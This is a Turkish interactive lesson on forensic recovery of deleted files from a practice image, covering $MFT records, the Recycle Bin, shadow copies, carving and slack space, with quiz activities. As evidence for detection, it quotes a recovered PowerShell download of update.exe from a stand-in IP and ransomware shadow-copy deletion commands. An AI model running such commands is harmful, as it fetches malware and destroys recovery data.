Silinen dosya kurtarma ve slack space
- Silinen dosyayı $MFT kaydından, geri dönüşüm kutusundan, gölge kopyadan ve imzadan oyarak kurtarmayı, küme artığında iz aramayı öğren.
- Bu derste fin-pc12 imajından silinmiş update.exe dosyasını icat ile çıkaracak, çöp kutusundaki belgeyi ve boş alandaki komut izini bulacaksın.
- Küme artığı denen boşlukta eski dosyaların parçaları bekler. Oraya da bakacaksın.
Puan bütün etkinlikleri cevaplayınca hesaba yazılır. Bu dersi tamamlayınca +55 XP alacaksın. Giriş yapmadan ilerlersen puan yalnız bu tarayıcıda durur.
Silmek veriyi yok etmez, yalnız defterdeki kaydı serbest işaretler. İçerik, üzerine yeni bir dosya yazılana kadar diskte bekler. Kurtarma işi bu bekleme süresini kullanmaktır. Bu derste kurtarmayı bir sıra hâlinde öğreneceksin.
Önce üstveriden kurtarırsın, çünkü içerikle birlikte ad ve zaman da gelir. Sonra geri dönüşüm kutusuna ve gölge kopyalara bakarsın. Üstveri tamamen gittiyse imzadan oyarsın.
En son hiçbir dosyaya ait olmayan boş alanda ve küme artıklarında iz ararsın. Her adımı fin-pc12 imajı üzerinde uygulayacaksın. Ters sıra hem zaman harcar hem de bağlamı kaybettirir.
Silme ne yapar: üstveriden kurtarma
NTFS'te silme birkaç küçük değişiklikten ibarettir. $MFT kaydının başlığındaki kullanımda bayrağı temizlenir. $Bitmap dosyasında dosyanın kümeleri boş işaretlenir. Üst klasörün dizininden ad girdisi çıkarılır.
Veri çalışmaları ve $FILE_NAME özniteliği ise kayıtta kalır. Kayıt başka bir dosyaya verilene kadar dosyanın adı, boyutu ve kümeleri elindedir. ext4'te durum farklıdır. Silme inode'daki kapsam bilgisini de sıfırlar ve silinme zamanını (dtime) yazar.
Ad dizin bloğunda bir süre okunabilir, ama içeriğe giden bağ kopar. Bu yüzden ext4'te üstveriden kurtarma çoğu kez sonuç vermez. İş oymaya ya da günlükteki eski inode kopyalarına kalır.
Derinleş:ext4'te günlükten inode kurtarmak
ext4 silmede inode'daki kapsam bilgisini sıfırlar. Ama jbd2 günlüğü inode tablosu bloklarının eski kopyalarını bir süre saklar. Sleuth Kit bu günlüğü iki araçla açar. jls günlükteki blokları ve her birinin hangi dosya sistemi bloğunun kopyası olduğunu listeler.
jcat istediğin günlük bloğunu ham olarak döker. İzlenen yol şöyledir. Önce silinmiş dosyanın inode numarasından, o inode'un hangi inode tablosu bloğunda durduğunu hesaplarsın. Sonra jls çıktısında o bloğun günlükteki kopyalarını ararsın.
jcat ile silmeden önceki kopyayı açar ve inode'un eski hâlini okursun. O kopyada kapsam bilgisi hâlâ doludur ve içeriğin blok adresini verir. Yöntemin sınırı açıktır. Günlük döngüseldir ve yoğun bir sunucuda eski kopyalar saatler içinde ezilir.
Varsayılan ordered modunda günlük yalnız üstveriyi yazar, içeriği yazmaz. İçerik blokları çoktan başka dosyaya verildiyse eski inode seni artık başka veriye götürür. extundelete gibi araçlar aynı yolu otomatik izler.
$ fls -rd -p -o 2048 fin-pc12.dd r/r * 812-128-3: Users/mkaya/AppData/Local/Temp/update.exe -/r * 913-128-1: Users/mkaya/Downloads/fatura.pdf.js -/r * 913-128-4: Users/mkaya/Downloads/fatura.pdf.js:Zone.Identifier $ icat -o 2048 fin-pc12.dd 812 > kurtarilan_update.exe $ file kurtarilan_update.exe kurtarilan_update.exe: PE32+ executable (console) x86-64, for MS Windows $ sha256sum kurtarilan_update.exe 4b8e7d2c9a01f36b5e84c7a29d0f1b63e57a8c94d2b06f1e83a75c29b40d6f18 kurtarilan_update.exe $ tsk_recover -o 2048 fin-pc12.dd /eviz/kurtarma/ Files Recovered: 214
Komutları sırayla oku. fls -rd yalnız silinmiş girdileri listeler. Yıldızlı satırın kayıt numarasını alırsın.
icat bu kayıttaki veri çalışmalarını izler ve içeriği sırayla çeker. file komutu çıkan dosyanın gerçekten bir Windows çalıştırılabilir dosyası olduğunu söyler.
sha256sum özeti verir. Bu özet ağ trafiğinden çıkarılan update.exe dosyasının özetiyle aynıdır, yani iki delil birbirini doğrular. Tek tek çekmek yerine toplu da kurtarabilirsin. tsk_recover bayraksız çalışınca yalnız ayrılmamış, yani silinmiş dosyaları çıkarır.
-e bayrağı hepsini, -a yalnız ayrılmış olanları çıkarır. ils ise silinmiş üstveri kayıtlarını listeler. Kurtarılan dosyayı asla incelenen diske yazma. Hedef her zaman ayrı bir çalışma diskidir.
İki sağlamayı unutma. Birincisi kaydın hâlâ aynı dosyaya ait olmasıdır. Kayıt yeniden kullanıldıysa icat sana yeni sahibin içeriğini verir. Bu yüzden önce istat ile $FILE_NAME adını ve sıra numarasını okursun.
fls satırında (realloc) etiketi varsa içerik eski dosyanın değildir. İkincisi özetin tekrarlanmasıdır: aynı komutu yeniden çalıştırdığında aynı özeti almalısın.
Savunma tarafında silmenin kendisi de kayda geçebilir. Sysmon'un 23 numaralı olayı silinen dosyanın bir kopyasını arşiv klasörüne alır, 26 numaralı olay ise yalnız silmeyi kaydeder. 28 numaralı olay güvenli silme araçlarının dosya parçalamasını engeller. Bu ayarlarla saldırganın sildiği araç olaydan sonra da elinde kalır.
Etkinlik 1 / 7
fin-pc12.dd imajında 812 numaralı kaydın içeriğini dosyaya çıkar. Bölüm 2048. sektörde başlıyor.
Geri dönüşüm kutusu ve gölge kopyalar
Gezgin'de silinen dosya aslında silinmez, taşınır. Windows dosyayı birimin kökündeki $Recycle.Bin klasörüne, kullanıcının SID değeriyle adlandırılmış alt klasöre koyar. İçerik $R ile başlayan bir dosyaya geçer.
Yanına $I ile başlayan küçük bir dosya yazılır ve özgün yolu, boyutu ve silinme zamanını tutar. İkisi aynı rastgele altı karakteri ve özgün uzantıyı taşır. Komut satırında del ile ya da Shift+Delete ile silinen dosya kutuya hiç uğramaz.
Aşağıdaki xxd çıktısında Windows 10 ve 11'in yazdığı 2 sürümü bir $I dosyası var. İlk sekiz bayt sürümdür ve 02 ile başlar. Sonraki sekiz bayt küçük uçlu okunan boyuttur: 55 BC, yani 0xBC55 ve onluk 48213 bayt.
Üçüncü sekizli FILETIME biçiminde silinme zamanıdır. Ardından ad uzunluğu gelir: 2B, yani sondaki boş karakterle birlikte 43 karakter. En sonda UTF-16 biçiminde özgün yol durur.
$ fls -r -p -o 2048 fin-pc12.dd | grep 'Recycle.Bin/S-1-5-21' r/r 1502-128-1: $Recycle.Bin/S-1-5-21-3623811015-3361044348-30300820-1104/$IK3F9QZ.docm r/r 1503-128-1: $Recycle.Bin/S-1-5-21-3623811015-3361044348-30300820-1104/$RK3F9QZ.docm $ icat -o 2048 fin-pc12.dd 1502 | xxd | head -4 00000000: 0200 0000 0000 0000 55bc 0000 0000 0000 ........U....... 00000010: 4091 891d dd43 dd01 2b00 0000 4300 3a00 @....C..+...C.:. 00000020: 5c00 5500 7300 6500 7200 7300 5c00 6d00 \.U.s.e.r.s.\.m. 00000030: 6b00 6100 7900 6100 5c00 4400 6f00 7700 k.a.y.a.\.D.o.w. > RBCmd.exe -d E:\eviz\fin-pc12\RecycleBin --csv E:\cikti SourceName,FileType,FileName,FileSize,DeletedOn ...\$IK3F9QZ.docm,$I,C:\Users\mkaya\Downloads\fatura_eylul.docm,48213,2026-09-14 00:08:05
Gölge kopyalar (Volume Shadow Copy) birimin eski hâllerini saklar. Sistem geri yükleme noktası ya da yedekleme yazılımı bir anlık görüntü aldığında, sonradan değişen blokların eski sürümü bir kenara kopyalanır. Şifrelenmiş ya da silinmiş dosyanın temiz bir kopyası çoğu kez burada bulunur. Canlı sistemde vssadmin list shadows kopyaları listeler.
İmajda libvshadow araçlarını kullanırsın. vshadowinfo kopyaların sayısını ve oluşturma zamanlarını verir. vshadowmount her kopyayı ayrı bir ham birim olarak açar, sen de onu salt okunur bağlarsın. Dikkat et, vshadowmount ofseti Sleuth Kit gibi sektör olarak değil, bayt olarak ister.
$ vshadowinfo -o 1048576 fin-pc12.dd Volume Shadow Snapshot information: Number of stores: 2 Store: 1 Creation time : Sep 07, 2026 21:00:12.418227300 UTC Store: 2 Creation time : Sep 13, 2026 21:00:09.902114600 UTC $ vshadowmount -o 1048576 fin-pc12.dd /mnt/vss $ ls /mnt/vss vss1 vss2 $ mount -o ro,loop /mnt/vss/vss2 /mnt/kopya2 $ sha256sum /mnt/kopya2/Users/mkaya/Documents/butce.xlsx /mnt/fin-pc12/Users/mkaya/Documents/butce.xlsx b3a4dd771a2e81574a065ebae1a427fca4f869e3d265d44550e84b6c0a6c0556 /mnt/kopya2/Users/mkaya/Documents/butce.xlsx 7cd07a04aa0c84a275fad4247985c423acfbd3549f80895d1c1733d88f85a32f /mnt/fin-pc12/Users/mkaya/Documents/butce.xlsx
Çıktıyı oku. vshadowinfo birimde iki kopya bulur ve ikincisi olaydan önceki gece, 13 Eylül 21:00 UTC'de alınmıştır. vshadowmount her kopyayı vss1, vss2 gibi ayrı bir ham birim dosyası olarak açar, sen de vss2'yi salt okunur bağlarsın. butce.xlsx dosyasının iki özeti farklıdır.
Dosya olay gecesi değişmiş ve temiz sürümü kopyada duruyor. Saldırgan da gölge kopyaları bilir. Fidye yazılımları şifrelemeye başlamadan önce kopyaları siler ve kurtarma seçeneklerini kapatır (MITRE ATT&CK T1490). En sık görülen komutlar vssadmin delete shadows /all /quiet, wmic shadowcopy delete ve önyükleme kurtarmasını kapatan bcdedit ayarlarıdır.
Tespit için bu komut satırlarını 4688 ya da Sysmon 1 süreç olaylarında ararsın. Olaydan sonra aynı izi Prefetch klasöründeki VSSADMIN.EXE dosyası verir. Bu yüzden yedeği ağdan ayrık ve değiştirilemez tutmak, gölge kopyaya güvenmekten daha sağlamdır.
Etkinlik 2 / 7
Bir fidye yazılımı vakasında muh-pc03 makinesinin süreç oluşturma kayıtları önünde. Kurtarmayı engelleme girişimi olan satırları işaretle.
Şüpheli satırlara tıkla. Birden fazla olabilir.
Üstveri yoksa: imzadan oyma
Disk biçimlendirildiyse ya da $MFT kaydı başka bir dosyaya verildiyse üstveri yoktur. Geriye içerik kalır. Oyma (file carving) dosyayı içeriğinin kendi imzasından tanır.
JPEG dosyası FF D8 FF baytlarıyla başlar ve FF D9 ile biter. PDF dosyası %PDF dizisiyle açılır ve %%EOF ile kapanır. ZIP ve onun kabını kullanan DOCX, XLSX gibi Office belgeleri 50 4B 03 04 ile başlar.
Oyma aracı bu başlıkları tarar ve bulduğu yerden sona ya da azami boyuta kadar olan baytları ayrı bir dosyaya yazar. foremost, scalpel ve PhotoRec bu işin yaygın araçlarıdır. Taramayı bütün imaja değil, blkls ile çıkardığın ayrılmamış alana yaparsan hem hızlanırsın hem de var olan dosyaları yeniden bulmazsın.
$ grep -E '^\s+(jpg|pdf)' scalpel.conf jpg y 200000000 \xff\xd8\xff\xe0\x00\x10 \xff\xd9 pdf y 5000000 %PDF %EOF\x0d REVERSE pdf y 5000000 %PDF %EOF\x0a REVERSE $ blkls -o 2048 fin-pc12.dd > unalloc.bin $ scalpel -c scalpel.conf -o /eviz/oyma unalloc.bin $ file /eviz/oyma/jpg-2-0/00000031.jpg /eviz/oyma/pdf-20-0/00000007.pdf /eviz/oyma/jpg-2-0/00000031.jpg: JPEG image data, JFIF standard 1.01 /eviz/oyma/pdf-20-0/00000007.pdf: data
Yapılandırma satırını sütun sütun oku: uzantı, büyük küçük harf duyarlılığı, azami boyut, başlık ve son. REVERSE sözcüğü PDF için sonu geriden arar, çünkü bir PDF içinde birden çok %%EOF bulunabilir. PDF iki satırla gelir, çünkü işaretten sonraki satır sonu CR (0x0D) ya da LF (0x0A) olabilir.
Çıktı klasörünün adı uzantıyı, kuralın sıra numarasını ve klasör sayacını taşır. Sayım sıfırdan başlar: jpg-2-0, açık kurallar arasında üçüncü sıradaki JPEG kuralının ilk klasörüdür. Varsayılan JPEG satırı yalnız JFIF başlığını (FF D8 FF E0) yakalar.
Telefon ve fotoğraf makinesi görüntüleri çoğunlukla EXIF başlığıyla (FF D8 FF E1) başlar. Hemen altında yorum olarak duran EXIF satırını açmazsan fotoğrafları kaçırırsın. Çıktının ikinci dosyası için file yalnız data der. Başlık tutmuş ama içerik bozuk ya da parçalıdır.
Oyma sonucunu bu yüzden her zaman doğrularsın: türü file ile, mantığı boyutla sınarsın. Açılabilen dosya gerçekten kurtarılmış sayılır. Doğruladığın her dosyanın özetini hemen al.
Derinleş:Parçalı dosya ve akıllı oyma
İlk oyma araçları dosyanın diskte tek parça durduğunu varsayıyordu. 2000'lerin ortasında DFRWS konferansının adli analiz yarışmaları bu varsayımı sınadı. Yarışma imajlarında dosyalar bilerek parçalanmış, araya başka dosyaların blokları serpiştirilmişti. Buradan iki fikir çıktı.
Birincisi doğrulayıcı kullanmaktır. Araç oyduğu her aday dosyayı JPEG ya da ZIP ayrıştırıcısından geçirir ve ayrıştırıcının hata verdiği noktayı parçanın bittiği yer sayar. İkincisi iki parçalı boşluk oymadır (bifragment gap carving). Dosyanın iki parçaya bölündüğü varsayılır, aradaki boşluğun olası uzunlukları denenir ve doğrulayıcıdan geçen birleşim seçilir.
PhotoRec gibi araçlar dosya sisteminin blok boyutunu öğrenir ve imzayı yalnız blok başlarında arar. Böylece hem hızlanır hem de sahte eşleşmeyi azaltır. SSD ve TRIM ise sahneyi yeniden değiştirdi. Silinen bloklar sıfırlandığında ne kadar akıllı olursa olsun hiçbir oyma aracı içerik bulamaz.
Etkinlik 3 / 7
Her durumda hangi kurtarma yolunu seçersin?
Önce bir seçeneğe, sonra aşağıdaki uygun kutuya bas. İstersen seçeneği kutuya sürükleyip bırak. Yerini değiştirmek için aynı işlemi tekrarla.
0/5 seçenek yerleşti.
Küme artığı ve ayrılmamış alan
Dosya son kümesini nadiren tam doldurur. 4096 baytlık kümelerde 5000 baytlık bir dosya düşün. Dosya iki küme kaplar ve ikinci kümede 3192 bayt boş kalır. Bu boşluğa dosya artığı (file slack) denir.
Artığın ilk kısmı, dosyanın bittiği sektörün kalanıdır ve Windows bu kısmı genelde sıfırla doldurur. Kalan tam sektörlere ise hiç dokunmaz.
Orada o kümeyi daha önce kullanan dosyanın baytları durur: eski bir belgenin satırı, bir e-posta parçası ya da bir komut dizisi. Artık alan normal dosya listesinde görünmez, çünkü hiçbir dosyanın içeriği sayılmaz. blkls -s yalnız artıkları, bayraksız blkls ise ayrılmamış kümelerin tamamını tek akışa döker.
Ayrılmamış alanda arama birkaç adımdır. blkls boş kümeleri unalloc.bin dosyasına döker. strings -a -t d okunabilir metni ve her dizinin bayt ofsetini onluk olarak yazar.
Ofseti küme boyutuna bölersin ve unalloc.bin içindeki blok numarasını bulursun. Asıl dikkat isteyen adım şudur: bu numara diskteki gerçek küme numarası değildir, çünkü blkls yalnız boş kümeleri art arda dizer.
blkcalc -u numarayı özgün küme adresine çevirir. Sonra blkcat ile kümenin tamamını açar, ifind ile o kümeyi en son kullanan $MFT kaydını ararsın. Kayıt bulunursa ffind adını verir. Aşağıdaki örnekte C2 adresi, silinmiş bir PowerShell betiğinin kümesinden çıkıyor.
$ blkls -o 2048 fin-pc12.dd > unalloc.bin $ strings -a -t d unalloc.bin | grep '203.0.113.19' 10485923 Invoke-WebRequest -Uri https://203.0.113.19/d/update.exe -OutFile $env:TEMP\update.exe $ echo $((10485923 / 4096)) 2560 $ blkcalc -o 2048 -u 2560 fin-pc12.dd 1839217 $ ifind -o 2048 -d 1839217 fin-pc12.dd 1391-128-1 $ ffind -o 2048 fin-pc12.dd 1391 * /Users/mkaya/AppData/Local/Temp/u.ps1
Etkinlik 4 / 7
Ayrılmamış alanı çıkarıp içinde 203.0.113.19 adresini arayan boru hattını kur.
Parçalara tıklayarak komutu soldan sağa kur.
Etkinlik 5 / 7
strings -a -t d çıktısı aranan satırı 10485923 ofsetinde verdi. Küme 4096 bayt. Bu satır unalloc.bin içinde kaçıncı blokta durur? ____
Kurtarmanın sınırları ve rapor
Kurtarma şansını üç etken belirler. Birincisi üzerine yazmadır. Kümeye yeni veri yazıldıysa eski içerik gitmiştir. Neredeyse dolu bir diskte silinen veri hızla ezilir, boş alanı bol bir diskte haftalarca durabilir.
İkincisi SSD ve TRIM komutudur. İşletim sistemi silinen blokları denetleyiciye bildirir ve denetleyici onları arka planda temizler. Canlı sistemde fsutil behavior query DisableDeleteNotify bu bildirimin durumunu gösterir. 0 değeri TRIM'in açık olduğunu söyler.
SSD üzerinde silinen dosyayı kurtarma şansı bu yüzden düşüktür. Üçüncüsü şifrelemedir. Blok şifreli duruyorsa oyma bir şey bulamaz. O zaman anahtarı bellekte ya da kurtarma anahtarının yedeğinde ararsın.
Raporda sınırı baştan yaz. SSD'den alınan imajda düşük kurtarma oranı beklenen bir sonuçtur, hata değildir. İmajın ham ya da E01 biçiminde alınması ve yazma engelleyici kullanılması bu oranı değiştirmez, yalnız delili korur.
Oyulan dosyayı adı ve zamanı biliniyormuş gibi raporlama. Doğru cümle şöyledir: ayrılmamış alanın şu ofsetinden şu özete sahip bir PDF oyuldu, özgün adı ve zamanı belirlenemedi. Çalışma kopyası üzerinde çalış, çünkü bazı kurtarma araçları diske yazmayı dener.
Kurtarılan dosyanın adına ya da yanındaki kayıt dosyasına kayıt numarasını ve özgün yolu yaz. Kurtarılan her dosya da bir delildir ve delil zinciri kaydına girer. Konunun öbür yüzü de var: kurum elden çıkaracağı diski NIST SP 800-88r2'deki temizleme yöntemleriyle siler, çünkü basit silme veriyi bırakır.
Etkinlik 6 / 7
SSD diskte silinen dosyanın kurtarılma şansını en çok ne düşürür?
Etkinlik 7 / 7
Doğru mu, yanlış mı?
İmzadan oyma yöntemi kurtarılan dosyanın özgün adını ve zaman damgasını da verir.
Okumayı istediğin sırayla sürdürebilirsin. Ders, bütün etkinlikleri cevapladığında tamamlanır.
- Etkinlik 1· Silme ne yapar: üstveriden kurtarma
- Etkinlik 2· Geri dönüşüm kutusu ve gölge kopyalar
- Etkinlik 3· Üstveri yoksa: imzadan oyma
- Etkinlik 4· Küme artığı ve ayrılmamış alan
- Etkinlik 5· Küme artığı ve ayrılmamış alan
- Etkinlik 6· Kurtarmanın sınırları ve rapor
- Etkinlik 7· Kurtarmanın sınırları ve rapor